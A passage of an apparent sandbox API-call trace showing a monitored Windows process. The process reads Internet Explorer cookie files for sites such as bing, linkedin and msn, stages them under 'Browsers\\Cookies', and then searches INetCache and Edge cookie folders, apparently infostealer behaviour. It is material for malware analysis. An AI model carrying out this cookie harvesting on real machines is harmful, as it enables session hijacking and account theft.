ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf99e810, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf99e810, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x68, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@skadtec[1].txt", cAlternateFileName="5P37A2~1.TXT")) returned 1 [0061.397] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@skadtec[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@skadtec[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0061.398] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x68 [0061.398] ReadFile (in: hFile=0x3f4, lpBuffer=0x42a4730, nNumberOfBytesToRead=0x68, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x42a4730*, lpNumberOfBytesRead=0x18e098*=0x68, lpOverlapped=0x0) returned 1 [0061.398] CloseHandle (hObject=0x3f4) returned 1 [0061.399] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf54e030, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf54e030, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf54e030, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0xb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@track.adform[2].txt", cAlternateFileName="5PD4D3~1.TXT")) returned 1 [0061.408] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@track.adform[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@track.adform[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0061.408] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0xb2 [0061.408] ReadFile (in: hFile=0x3f4, lpBuffer=0x42a48e8, nNumberOfBytesToRead=0xb2, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x42a48e8*, lpNumberOfBytesRead=0x18e098*=0xb2, lpOverlapped=0x0) returned 1 [0061.409] CloseHandle (hObject=0x3f4) returned 1 [0061.409] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x555a9a10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x555a9a10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x555a9a10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@www.bing[2].txt", cAlternateFileName="5PA943~1.TXT")) returned 1 [0061.411] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@www.bing[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.bing[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0061.411] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0xd7 [0061.411] ReadFile (in: hFile=0x3f4, lpBuffer=0x42a4d24, nNumberOfBytesToRead=0xd7, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x42a4d24*, lpNumberOfBytesRead=0x18e098*=0xd7, lpOverlapped=0x0) returned 1 [0061.412] CloseHandle (hObject=0x3f4) returned 1 [0061.412] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54d8c7b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54d8c7b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54d8c7b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@www.linkedin[1].txt", cAlternateFileName="5PC3D9~1.TXT")) returned 1 [0061.412] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@www.linkedin[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.linkedin[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0061.412] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0xa9 [0061.412] ReadFile (in: hFile=0x3f4, lpBuffer=0x42a51f8, nNumberOfBytesToRead=0xa9, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x42a51f8*, lpNumberOfBytesRead=0x18e098*=0xa9, lpOverlapped=0x0) returned 1 [0061.413] CloseHandle (hObject=0x3f4) returned 1 [0061.413] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4523d1d0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x526fc010, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x526fc010, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x402, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@www.msn[2].txt", cAlternateFileName="5PD551~1.TXT")) returned 1 [0061.413] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@www.msn[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.msn[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0061.413] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x402 [0061.413] ReadFile (in: hFile=0x3f4, lpBuffer=0x42a54f4, nNumberOfBytesToRead=0x402, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x42a54f4*, lpNumberOfBytesRead=0x18e098*=0x402, lpOverlapped=0x0) returned 1 [0061.415] CloseHandle (hObject=0x3f4) returned 1 [0061.415] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4523d1d0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x526fc010, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x526fc010, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x402, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@www.msn[2].txt", cAlternateFileName="5PD551~1.TXT")) returned 0 [0061.415] FindClose (in: hFindFile=0x68d540 | out: hFindFile=0x68d540) returned 1 [0061.415] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\*.cookie", lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4523d1d0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x526fc010, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x526fc010, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x402, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@www.msn[2].txt", cAlternateFileName="5PD551~1.TXT")) returned 0xffffffff [0061.415] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@www.msn[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.msn[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f8 [0061.415] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x402 [0061.415] ReadFile (in: hFile=0x3f8, lpBuffer=0x3bda174, nNumberOfBytesToRead=0x402, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x3bda174*, lpNumberOfBytesRead=0x18e098*=0x402, lpOverlapped=0x0) returned 1 [0061.415] CloseHandle (hObject=0x3f8) returned 1 [0061.416] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4523d1d0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x526fc010, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x526fc010, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x402, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@www.msn[2].txt", cAlternateFileName="5PD551~1.TXT")) returned 0 [0061.416] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.416] CharToOemBuffA (in: lpszSrc="Browsers\\Cookies\\InternetExplorerLow.txt", lpszDst=0x3bda4d8, cchDstLength=0x28 | out: lpszDst="Browsers\\Cookies\\InternetExplorerLow.txt") returned 1 [0061.416] RtlComputeCrc32 (PartialCrc=0x0, Buffer=0x42a4c88, Length=0x1bec) returned 0x5de54da7 [0061.416] VirtualAlloc (lpAddress=0x42a8000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x42a8000 [0061.416] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\", lpDst=0x6f66ec, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\INetCache\\") returned 0x49 [0061.416] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\INetCache\\\\*.txt", lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.417] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\INetCache\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\inetcache"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0061.417] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\INetCache\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\inetcache")) returned 0xffffffff [0061.417] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\INetCache\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\inetcache"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0061.417] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.417] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.417] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\INetCache\\\\*.cookie", lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.417] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\INetCache\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\inetcache"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0061.417] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\INetCache\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\inetcache")) returned 0xffffffff [0061.417] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\INetCache\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\inetcache"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0061.417] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.417] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.417] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\INetCookies\\", lpDst=0x6f66ec, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\INetCookies\\") returned 0x6b [0061.417] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\INetCookies\\\\*.txt", lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.418] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\INetCookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\inetcookies"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0061.418] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\INetCookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\inetcookies")) returned 0xffffffff [0061.418] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\INetCookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\inetcookies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0061.418] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.418] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.418] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\INetCookies\\\\*.cookie", lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.418] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\INetCookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\inetcookies"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0061.418] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\INetCookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\inetcookies")) returned 0xffffffff [0061.418] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\INetCookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\inetcookies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0061.418] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.418] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.418] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\", lpDst=0x6f86ec, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\") returned 0x7b [0061.418] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\\\*.txt", lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.419] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0061.419] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies")) returned 0xffffffff [0061.419] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0061.419] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.419] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.419] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\\\*.cookie", lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.419] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0061.419] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies")) returned 0xffffffff [0061.419] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js 